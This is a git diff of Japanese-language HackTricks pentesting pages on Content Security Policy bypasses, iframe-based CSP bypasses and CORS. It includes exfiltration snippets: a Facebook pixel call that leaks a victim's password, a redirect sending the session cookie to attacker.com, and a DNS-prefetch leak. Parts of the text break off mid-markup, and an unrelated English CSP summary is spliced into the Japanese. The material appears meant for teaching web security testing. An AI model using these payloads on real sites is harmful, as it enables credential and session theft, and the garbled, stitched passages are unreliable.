">
@@ -253,12 +253,12 @@ Content-Security-Policy: script-src 'self' https://www.google.com https://www.yo
https://www.youtube.com/oembed?callback=alert;
```
-[**JSONBee**](https://github.com/zigoo0/JSONBee) **には、さまざまなウェブサイトのCSP バイパス用のJSONP エンドポイントが含まれています。**
+[**JSONBee**](https://github.com/zigoo0/JSONBee) **には、さまざまなウェブサイトのCSPバイパス用に使用できるJSONPエンドポイントが含まれています。**
-**信頼されたエンドポイントにオープンリダイレクトが含まれている場合、同じ脆弱性が発生します**。初期エンドポイントが信頼されている場合、リダイレクトも信頼されます。
+同じ脆弱性が発生する可能性があります**信頼されたエンドポイントにオープンリダイレクトが含まれている場合**、初期エンドポイントが信頼されている場合、リダイレクトも信頼されます。
### サードパーティの悪用
-[次の投稿](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses)で説明されているように、CSP で許可されている可能性がある多くのサードパーティドメインは、データの外部流出やJavaScript コードの実行など、悪用される可能性があります。これらのサードパーティの一部は次のとおりです:
+[次の投稿](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses)で説明されているように、CSPのどこかで許可されている可能性がある多くのサードパーティドメインは、データの外部流出やJavaScriptコードの実行など、悪用される可能性があります。これらのサードパーティの一部は次のとおりです:
| エンティティ | 許可されたドメイン | 機能 |
|--------|----------------|--------------|
@@ -271,51 +271,59 @@ https://www.youtube.com/oembed?callback=alert;
| Salesforce Heroku | *.herokuapp.com | 外部流出、実行 |
| Google Firebase | *.firebaseapp.com | 外部流出、実行 |
-ターゲットのCSP で許可されているドメインの中にいずれかが見つかった場合、そのサードパーティサービスに登録して、データを外部流出させるかコードを実行する可能性があります。
+ターゲットのCSPで許可されたドメインのいずれかを見つけた場合、そのサードパーティサービスに登録して、データを外部サービスに外部流出させるか、コードを実行することができる可能性があります。
-たとえば、次のCSP が見つかった場合:
+たとえば、次のCSPを見つけた場合:
```
Content-Security-Policy: default-src 'self’ www.facebook.com;
```
-## Content Security Policy (CSP) Bypass
+# Content Security Policy (CSP) Bypass
-### Introduction
+## Overview
-In some scenarios, you may encounter a website that has a strict Content Security Policy (CSP) in place, which restricts the sources from which certain types of content can be loaded on the page. However, there are ways to bypass CSP protections and execute malicious scripts on the target website.
+In some scenarios, it may be possible to bypass Content Security Policy (CSP) restrictions to execute unauthorized scripts on a web application. This can be achieved through various techniques such as using inline scripts, dynamic script injection, or exploiting misconfigurations in the CSP headers.
-### Bypass Techniques
+## Techniques
-1. **Inline Script Execution**: By finding a way to execute inline scripts, you can bypass CSP restrictions that block inline scripts.
+### Inline Scripts
-2. **Unsafe Eval**: Leveraging the `eval()` function can help bypass CSP restrictions that block the use of `eval` or `Function` for executing dynamic code.
+By injecting malicious code directly into HTML elements or attributes, it is possible to execute scripts bypassing CSP restrictions that prohibit inline scripts.
-3. **Data: URI**: Using data: URIs to load script content can bypass CSP restrictions on loading scripts from external sources.
+### Dynamic Script Injection
-4. **Trusted Types Bypass**: Exploiting vulnerabilities in Trusted Types can allow bypassing CSP protections.
+Utilizing JavaScript to dynamically create and execute scripts can help bypass CSP restrictions that block static script URLs.
-### Conclusion
+### CSP Header Misconfigurations
-Understanding how to bypass CSP protections is crucial for a penetration tester to identify and exploit potential security vulnerabilities in web applications. By utilizing various techniques like inline script execution, unsafe eval, data: URI, and Trusted Types bypass, you can effectively bypass CSP restrictions and execute malicious scripts on target websites.
+Exploiting misconfigurations in the CSP headers, such as allowing unsafe-eval or unsafe-inline, can also lead to bypassing CSP restrictions and executing unauthorized scripts.
+
+## Mitigation
+
+To prevent CSP bypasses, ensure that the CSP policy is correctly configured to disallow unsafe practices like inline scripts, eval functions, or overly permissive directives. Regularly review and update the CSP policy to maintain a strong security posture against such attacks.
```
Content-Security-Policy: connect-src www.facebook.com;
```
-1. [こちら](https://www.facebook.com/)でFacebook Developerアカウントを作成します。
+1. [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/)のように、データを外部に送信することができるはずです。この場合、次の一般的な手順に従います:
+
+1. こちらでFacebook Developerアカウントを作成します。
1. 新しい「Facebook Login」アプリを作成し、「Website」を選択します。
1. 「Settings -> Basic」に移動し、「App ID」を取得します。
-1. データを外部流出させたい対象サイトでは、Facebook SDKガジェット「fbq」を使用して「customEvent」とデータペイロードを介してデータを外部流出させることができます。
-1. アプリの「Event Manager」に移動し、作成したアプリケーションを選択します(イベントマネージャーは次のようなURLで見つけることができます:https://www.facebook.com/events_manager2/list/pixel/[app-id]/test_events)
+1. データを外部に送信したい対象サイトでは、Facebook SDKのガジェット「fbq」を直接使用して、「customEvent」とデータペイロードを介してデータを外部に送信できます。
+1. アプリの「Event Manager」に移動し、作成したアプリケーションを選択します(イベントマネージャーは、次のようなURLで見つけることができます:https://www.facebook.com/events_manager2/list/pixel/[app-id]/test_events)
1. 「Test Events」タブを選択して、「あなたの」ウェブサイトから送信されるイベントを確認します。
-その後、被害者側で、以下のコードを実行してFacebookトラッキングピクセルを初期化し、攻撃者のFacebook Developerアカウントのapp-idを指すようにし、次のようにカスタムイベントを発行します:
+その後、被害者側で、以下のコードを実行してFacebookのトラッキングピクセルを初期化し、攻撃者のFacebook Developerアカウントのapp-idを指すようにし、次のようにカスタムイベントを発行します:
```JavaScript
fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
});
```
+### 前のテーブルで指定された他の7つのサードパーティドメインに関しては、それらを悪用する方法が他にもたくさんあります。他のサードパーティの悪用に関する追加の説明については、以前の[ブログ投稿](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses)を参照してください。
+
### RPO(Relative Path Overwrite)を介したバイパス
-前述のパス制限をバイパスするためのリダイレクトに加えて、一部のサーバーで使用できるRelative Path Overwrite(RPO)と呼ばれる別のテクニックがあります。
+パス制限をバイパスするための前述のリダイレクトに加えて、一部のサーバーで使用できる別のテクニックであるRelative Path Overwrite(RPO)があります。
たとえば、CSPがパス`https://example.com/scripts/react/`を許可している場合、次のようにバイパスできます:
```html
@@ -325,7 +333,7 @@ data: "Leaked user password: '"+document.getElementById('user-password').innerTe
これは、ブラウザにとって、`https://example.com/scripts/react/` の下にある `..%2fangular%2fangular.js` という名前のファイルを読み込んでいるため、CSPに準拠しています。
-したがって、それらはそれをデコードし、効果的に `https://example.com/scripts/react/../angular/angular.js` をリクエストし、これは `https://example.com/scripts/angular/angular.js` と同等です。
+したがって、それらはそれをデコードし、`https://example.com/scripts/react/../angular/angular.js` を要求し、これは `https://example.com/scripts/angular/angular.js` と同等です。
**ブラウザとサーバー間のURL解釈の不一致を悪用することで、パスのルールをバイパス**することができます。
@@ -343,21 +351,21 @@ data: "Leaked user password: '"+document.getElementById('user-password').innerTe
**base-uri** ディレクティブが欠落している場合、[**dangling markup injection**](../dangling-markup-html-scriptless-injection/) を実行するために悪用できます。
-さらに、**ページがNonceを使用して相対パスでスクリプトを読み込んでいる場合**(例:`
ng-app"ng-csp ng-click=$event.view.alert(1337)>
@@ -377,13 +385,13 @@ ng-app"ng-csp ng-click=$event.view.alert(1337)>
```
From: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
-この構成を悪用して、**画像内に挿入されたJavaScriptコードを読み込む**こともできます。たとえば、ページがTwitterから画像を読み込むことを許可している場合、**特別な画像**を作成し、Twitterにアップロードして、"**unsafe-inline**"を悪用して通常のXSSとしてJSコードを実行し、**画像を読み込み**、そこからJSを**抽出**して**実行**することができます: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
+この構成を悪用して、**画像内に挿入されたJavaScriptコードを読み込む**こともできます。たとえば、ページがTwitterから画像を読み込むことを許可している場合、**特別な画像**を作成し、Twitterにアップロードして、"**unsafe-inline**"を悪用してJSコード(通常のXSSとして)を実行し、**画像を読み込み**、そこからJSを**抽出**して**実行**することができます:[https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
### Service Workersを使用する
-Service Workersの**`importScripts`**関数はCSPに制限されません:
+Service Workersの**`importScripts`**関数はCSPに制限されません:
{% content-ref url="../xss-cross-site-scripting/abusing-service-workers.md" %}
[abusing-service-workers.md](../xss-cross-site-scripting/abusing-service-workers.md)
@@ -439,7 +447,7 @@ Service Workersの**`importScripts`**関数はCSPに制限されません:
#### Chrome
-あなたが送信した**パラメータ**が**ポリシーの宣言内に貼り付けられている**場合、**ポリシー**をいくつかの方法で**無効にする**ように変更できます。これらのバイパスのいずれかを使用して、**スクリプト 'unsafe-inline'**を許可できます:
+あなたが送信した**パラメータ**が**ポリシーの宣言**の**内部に貼り付けられている**場合、**ポリシー**を**無効にする**方法で**ポリシーを変更**できます。これらのバイパスのいずれかを使用して、スクリプトを'unsafe-inline'に**許可**することができます:
```bash
script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
@@ -449,15 +457,15 @@ script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
#### Edge
-Edgeでは、これだけをCSPに追加できれば**`;_`**、**Edge**は**ポリシー全体を無効に**します。\
+Edgeでは、CSPにこれだけ追加できれば**`;_`**、**Edge**は**ポリシー全体を無効に**します。\
例: [http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert(1)%3C/script%3E](http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert\(1\)%3C/script%3E)
### img-src \*; XSS経由での攻撃 (iframe) - タイムアタック
ディレクティブ`'unsafe-inline'`が欠けていることに注意してください。\
-今回は、被害者に**XSS**を介して**あなたの制御下のページ**を**読み込ませる**ことができます。この時、被害者に情報を抽出したいページにアクセスさせます(**CSRF**)。ページの内容にアクセスすることはできませんが、ページが読み込むのに必要な時間を**制御**できれば、必要な情報を抽出できます。
+今回は、被害者に**あなたの制御下のページ**を**XSS**経由で読み込ませることができます。この時、被害者に情報を取得したいページにアクセスさせます(**CSRF**)。ページの内容にアクセスすることはできませんが、ページの読み込みにかかる時間を**制御**できれば必要な情報を抽出できます。
-今回は、**フラグ**が抽出され、**SQLi**を介して**文字が正しく推測されるたびに**応答が**スリープ関数により遅くなる**ため、フラグを抽出できます。
+今回は、**フラグ**が抽出されます。**charが正しく推測されるたびに**SQLi経由で**応答**に**スリープ関数**があるため**時間がかかり**ます。その後、フラグを抽出できます:
```html
// The bot will load an URL with the payload
@@ -517,15 +525,15 @@ console.log(prefix);
run();
```
-### ブックマークレットを介した攻撃
+### ブックマークレット経由
-この攻撃は、攻撃者がユーザーを説得して、ブラウザのブックマークレット上にリンクをドラッグアンドドロップさせることを含みます。このブックマークレットには、**悪意のあるJavaScript**コードが含まれており、ドラッグ&ドロップまたはクリックされると、現在のWebウィンドウのコンテキストで実行され、CSPをバイパスしてクッキーやトークンなどの機密情報を盗むことができます。
+この攻撃は、攻撃者がユーザーを説得して、ブラウザのブックマークレット上にリンクをドラッグアンドドロップさせることを含みます。このブックマークレットには、**悪意のあるJavaScript**コードが含まれており、ドラッグ&ドロップまたはクリックされると、現在のWebウィンドウのコンテキストで実行され、CSPをバイパスしてクッキーやトークンなどの**機密情報を盗み出す**ことができます。
-詳細については、[**こちらの元のレポートをご覧ください**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/)。
+詳細は[**こちらのオリジナルレポートをご覧ください**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/)。
-### CSPの制限によるCSPバイパス
+### CSP制限によるCSPバイパス
-[**このCTF解説**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution)では、許可されたiframe内により制限の厳しいCSPを注入することでCSPがバイパスされ、特定のJSファイルの読み込みを禁止するCSPが設定され、その後、**プロトタイプ汚染**または**DOMクロブリング**を介して、異なるスクリプトを悪用して任意のスクリプトを読み込むことが可能になりました。
+[**このCTF解説**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution)では、許可されたiframe内により制限の厳しいCSPを注入することでCSPがバイパスされ、特定のJSファイルの読み込みを禁止するCSPが設定され、その後、**プロトタイプ汚染**または**DOMクロブリング**を介して、異なるスクリプトを悪用して**任意のスクリプトを読み込む**ことが可能になりました。
IframeのCSPを**`csp`**属性で**制限**することができます:
@@ -536,7 +544,7 @@ IframeのCSPを**`csp`**属性で**制限**することができます:
{% endcode %}
[**このCTFの解説**](https://github.com/aszx87410/ctf-writeups/issues/48) では、**HTMLインジェクション**を通じて、**CSP**をより**制限**することが可能であり、CSTIを防ぐスクリプトが無効化され、その結果、**脆弱性が悪用可能になりました。**\
-CSPは**HTMLメタタグ**を使用してより制限的に設定でき、インラインスクリプトは**削除**され、**nonce**を許可する**エントリ**が削除され、**特定のインラインスクリプトをsha経由で有効にできます**:
+CSPは**HTMLメタタグ**を使用してより制限的に設定でき、インラインスクリプトは**エントリを削除**することで無効化でき、その後、**nonce**を許可し、**sha**を使用して特定のインラインスクリプトを有効にできます。
```html
`内に埋め込むことができます。この**スクリプト**は**'self'**によって**許可されている**ため、**ロード**されます。さらに、WordPressがインストールされているため、攻撃者は**脆弱な** **コールバック**エンドポイントを通じて**CSPをバイパス**してユーザーにより多くの特権を与えたり、新しいプラグインをインストールしたりする可能性があります。\
-この攻撃を実行する方法の詳細については、[https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)を確認してください。
+攻撃者は、このエンドポイントを悪用してWordPressに対する**SOME攻撃**を行い、``内に埋め込むことができます。この**スクリプト**は**'self'**によって**許可されている**ため、**読み込まれます**。さらに、WordPressがインストールされているため、攻撃者は、**CSPをバイパス**してユーザーにより多くの権限を与えたり、新しいプラグインをインストールしたりするために、**脆弱な** **コールバック**エンドポイントを介して**SOME攻撃**を悪用する可能性があります。\
+この攻撃を実行する方法の詳細については、[https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)を参照してください。
## CSP Exfiltration Bypasses
@@ -623,7 +631,7 @@ SOMEは、**ページのエンドポイント**でのXSS(または非常に制
### Location
-単に場所を更新して、秘密情報を攻撃者のサーバーに送信することができます:
+単に**ロケーションを更新**して、秘密情報を攻撃者のサーバーに送信することができます:
```javascript
var sessionid = document.cookie.split('=')[1]+".";
document.location = "https://attacker.com/?" + sessionid;
@@ -639,7 +647,7 @@ document.location = "https://attacker.com/?" + sessionid;
ページを高速に読み込むために、ブラウザはホスト名をIPアドレスに事前解決し、後で使用するためにキャッシュします。\
ブラウザにホスト名を事前解決するよう指示することができます: `
`
-これを悪用して、DNSリクエストを介して機密情報を**外部流出**することができます。
+この動作を悪用して、DNSリクエストを介して機密情報を**外部流出**することができます。
```javascript
var sessionid = document.cookie.split('=')[1]+".";
var body = document.getElementsByTagName('body')[0];
@@ -647,23 +655,27 @@ body.innerHTML = body.innerHTML + "
pc.setLocalDescription(sdp);
ハッキングのスリルとチャレンジに深く入り込むコンテンツに参加しましょう
**リアルタイムのハックニュース**\
-リアルタイムのニュースと情報を通じて、ハッキングの世界を最新の状態で把握しましょう
+リアルタイムのニュースと情報を通じて、ハッキングの世界を最新の状態に保ちましょう
-**最新の発表**\
+**最新のアナウンスメント**\
最新のバグバウンティの開始や重要なプラットフォームの更新情報を把握しましょう
-**[Discord](https://discord.com/invite/N3FrSbmwdy)** に参加して、今日からトップハッカーと協力を始めましょう!
+[**Discord**](https://discord.com/invite/N3FrSbmwdy) に参加して、今日からトップハッカーと協力を始めましょう!
-**htARTE (HackTricks AWS Red Team Expert)** でAWSハッキングをゼロからヒーローまで学びましょう!
+**htARTE (HackTricks AWS Red Team Expert)** で **ゼロからヒーローまでのAWSハッキングを学びましょう**!
-HackTricksをサポートする他の方法:
+HackTricks をサポートする他の方法:
-* **HackTricksで企業を宣伝したい**、または **HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
-* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を手に入れる
-* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
-* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) をフォローする
-* **HackTricks** と **HackTricks Cloud** のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有する
+* **HackTricks で企業を宣伝したい**、または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
+* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する
+* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
+* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegramグループ**](https://t.me/peass) に参加するか、Twitter 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) をフォローする
+* ハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出する
diff --git a/pentesting-web/content-security-policy-csp-bypass/csp-bypass-self-+-unsafe-inline-with-iframes.md b/pentesting-web/content-security-policy-csp-bypass/csp-bypass-self-+-unsafe-inline-with-iframes.md
index 6845a1ebe..71340946b 100644
--- a/pentesting-web/content-security-policy-csp-bypass/csp-bypass-self-+-unsafe-inline-with-iframes.md
+++ b/pentesting-web/content-security-policy-csp-bypass/csp-bypass-self-+-unsafe-inline-with-iframes.md
@@ -7,8 +7,8 @@ HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) コレクションを発見する
-* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 で私をフォローする [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
-* **ハッキングトリックを共有するには、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github リポジトリに提出してください。
+* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) をフォローする**
+* **ハッキングトリックを共有するためにPRを提出して** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のgithubリポジトリに
@@ -19,7 +19,7 @@ Content-Security-Policy: default-src 'self' 'unsafe-inline';
```
### テキストと画像を通じて
-現代のブラウザは、画像やテキストをHTMLに変換して表示を向上させることが観察されています(たとえば、背景の設定、中央揃えなど)。その結果、`favicon.ico`や`robots.txt`などの画像やテキストファイルが`iframe`経由で開かれると、HTMLとしてレンダリングされます。特に、これらのページにはしばしばCSPヘッダーが欠けていることがあり、X-Frame-Optionsが含まれていない可能性があり、それらから任意のJavaScriptが実行される可能性があります。
+現代のブラウザは、画像やテキストをHTMLに変換して表示を向上させることが観察されています(たとえば、背景の設定、中央揃えなど)。その結果、`favicon.ico`や`robots.txt`などの画像やテキストファイルが`iframe`経由で開かれると、HTMLとしてレンダリングされます。特筆すべきは、これらのページにはしばしばCSPヘッダーが欠けていることやX-Frame-Optionsが含まれていないことがあり、それによりそれらから任意のJavaScriptが実行される可能性があることです。
```javascript
frame=document.createElement("iframe");
frame.src="/css/bootstrap.min.css";
@@ -30,7 +30,7 @@ window.frames[0].document.head.appendChild(script);
```
### エラー経由
-同様に、テキストファイルや画像などのエラー応答は、通常、CSPヘッダーが付いておらず、X-Frame-Optionsが省略されている場合があります。エラーをiframe内で読み込むように誘導することができ、以下のアクションが可能です。
+同様に、テキストファイルや画像などのエラーレスポンスは、通常CSPヘッダーが付与されず、X-Frame-Optionsが省略されることがあります。エラーをiframe内で読み込むよう誘導することで、以下のアクションが可能になります。
```javascript
// Inducing an nginx error
frame=document.createElement("iframe");
@@ -65,12 +65,12 @@ window.frames[0].document.head.appendChild(script);
ゼロからヒーローまでのAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)!
-HackTricksをサポートする他の方法:
+HackTricks をサポートする他の方法:
-* **HackTricksで企業を宣伝したい** または **HackTricksをPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
+* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する
-* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
-* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) または [**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) をフォローする。**
-* **ハッキングトリックを共有するために、** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出する。
+* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
+* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) または [**telegramグループ**](https://t.me/peass) に参加し、または**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) をフォローしてください。**
+* **HackTricks** と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。
diff --git a/pentesting-web/cors-bypass.md b/pentesting-web/cors-bypass.md
index 7cdcb61b8..09b571d73 100644
--- a/pentesting-web/cors-bypass.md
+++ b/pentesting-web/cors-bypass.md
@@ -2,27 +2,27 @@
-AWSハッキングをゼロからヒーローまで学ぶ htARTE(HackTricks AWS Red Team Expert)!
+ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)!
-HackTricksをサポートする他の方法:
+HackTricks をサポートする他の方法:
-- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合**は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
-- [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
-- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
-- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォロー**する。
-- **HackTricks**と**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。
+* **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい場合は** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
+* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する
+* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
+* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) をフォローする
+* **HackTricks** と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する
## CORSとは?
-Cross-Origin Resource Sharing(CORS)標準は、**サーバーがアクセスを許可するクライアント**と**外部ソースから許可されるHTTPリクエストメソッド**を定義できるようにします。
+Cross-Origin Resource Sharing(CORS)標準は、**サーバーがアクセスできるユーザー**と**外部ソースから許可されるHTTPリクエストメソッド**を定義することを可能にします。
-**同一オリジン**ポリシーは、リソースを要求するサーバーとリソースをホストするサーバーが同じプロトコル(例:`http://`)、ドメイン名(例:`internal-web.com`)、および**ポート**(例:80)を共有している必要があると規定しています。このポリシーでは、同じドメインとポートのウェブページのみがリソースにアクセスできます。
+**同一オリジン**ポリシーは、リソースを要求するサーバーとリソースをホストするサーバーが同じプロトコル(例:`http://`)、ドメイン名(例:`internal-web.com`)、および**ポート**(例:80)を共有することを義務付けます。このポリシーでは、同じドメインとポートのウェブページのみがリソースにアクセスできます。
-`http://normal-website.com/example/example.html`のコンテキストで同一オリジンポリシーの適用例:
+`http://normal-website.com/example/example.html`のコンテキストで同一オリジンポリシーを適用すると、次のようになります:
-| アクセスされたURL | アクセスが許可されるか? |
+| アクセスされるURL | アクセスが許可されるか? |
| ----------------------------------------- | ---------------------------------- |
| `http://normal-website.com/example/` | はい:同一のスキーム、ドメイン、およびポート |
| `http://normal-website.com/example2/` | はい:同一のスキーム、ドメイン、およびポート |
@@ -31,13 +31,13 @@ Cross-Origin Resource Sharing(CORS)標準は、**サーバーがアクセス
| `http://www.normal-website.com/example/` | いいえ:異なるドメイン |
| `http://normal-website.com:8080/example/` | いいえ:異なるポート* |
-*Internet Explorerは同一オリジンポリシーでポート番号を無視し、このアクセスを許可します。
+*Internet Explorerは同一オリジンポリシーにおいてポート番号を無視し、このアクセスを許可します。
### `Access-Control-Allow-Origin`ヘッダー
-このヘッダーは**複数のオリジン**、**`null`**値、またはワイルドカード**`*`**を許可できます。ただし、**どのブラウザも複数のオリジンをサポートしておらず**、ワイルドカード`*`の使用は**制限**の対象です(ワイルドカードは単独で使用する必要があり、`Access-Control-Allow-Credentials: true`と併用することは許可されていません)。
+このヘッダーは**複数のオリジン**、**`null`**値、またはワイルドカード**`*`**を許可できます。ただし、**どのブラウザも複数のオリジンをサポートしておらず**、ワイルドカード`*`の使用は**制限**されています(ワイルドカードは単独で使用する必要があり、`Access-Control-Allow-Credentials: true`と併用することは許可されていません)。
-このヘッダーは、ウェブサイトによって開始されたクロスドメインリソースリクエストに対する**サーバーによって発行**され、ブラウザは自動的に`Origin`ヘッダーを追加します。
+このヘッダーは、ウェブサイトによって開始されたクロスドメインリソースリクエストに対する**サーバーから発行**され、ブラウザは自動的に`Origin`ヘッダーを追加します。
### `Access-Control-Allow-Credentials`ヘッダー
@@ -74,11 +74,11 @@ xhr.send('
Arun');
### クロスドメイン通信におけるプリフライトリクエストの理解
-特定の条件下でクロスドメインリクエストを開始する際、**標準外のHTTPメソッド**(HEAD、GET、POST以外のもの)、新しい**ヘッダー**の導入、または特別な**Content-Typeヘッダー値**の使用などがある場合、プリフライトリクエストが必要になることがあります。この事前リクエストは、**`OPTIONS`**メソッドを利用して、サーバーにクロスオリジンリクエストの意図、使用するHTTPメソッドやヘッダーなどを通知する役割を果たします。
+特定の条件下でクロスドメインリクエストを開始する際、**標準外のHTTPメソッド**(HEAD、GET、POST以外のもの)、新しい**ヘッダー**の導入、または特別な**Content-Typeヘッダー値**の使用などがある場合、プリフライトリクエストが必要になることがあります。この事前リクエストは、**`OPTIONS`**メソッドを利用して、サーバーに将来のクロスオリジンリクエストの意図、使用するHTTPメソッドやヘッダーなどを通知する役割を果たします。
-**Cross-Origin Resource Sharing (CORS)** プロトコルは、このプリフライトチェックを義務付けており、許可されたメソッド、ヘッダー、およびオリジンの信頼性を検証することで、要求されたクロスオリジン操作の実行可能性を判断します。プリフライトリクエストが不要となる条件についての詳細は、[**Mozilla Developer Network (MDN)**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests) が提供する包括的なガイドを参照してください。
+**クロスオリジンリソース共有(CORS)**プロトコルは、このプリフライトチェックを義務付けており、許可されたメソッド、ヘッダー、およびオリジンの信頼性を検証することで、要求されたクロスオリジン操作の実行可能性を判断します。プリフライトリクエストが不要となる条件についての詳細は、[**Mozilla Developer Network (MDN)**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests) で提供されている包括的なガイドを参照してください。
-重要な点として、**プリフライトリクエストの不在は、レスポンスが認証ヘッダーを含む必要性を無効にするものではありません**。これらのヘッダーがないと、ブラウザはクロスオリジンリクエストからのレスポンスを処理する能力を失います。
+重要な点として、**プリフライトリクエストの不在は、レスポンスが認証ヘッダーを含む必要性を無効にするものではありません**。これらのヘッダーがないと、ブラウザはクロスオリジンリクエストからのレスポンスを処理する能力が制限されます。
以下は、`PUT`メソッドと`Special-Request-Header`というカスタムヘッダーを使用するプリフライトリクエストの例を示しています:
```
@@ -102,20 +102,9 @@ Access-Control-Max-Age: 240
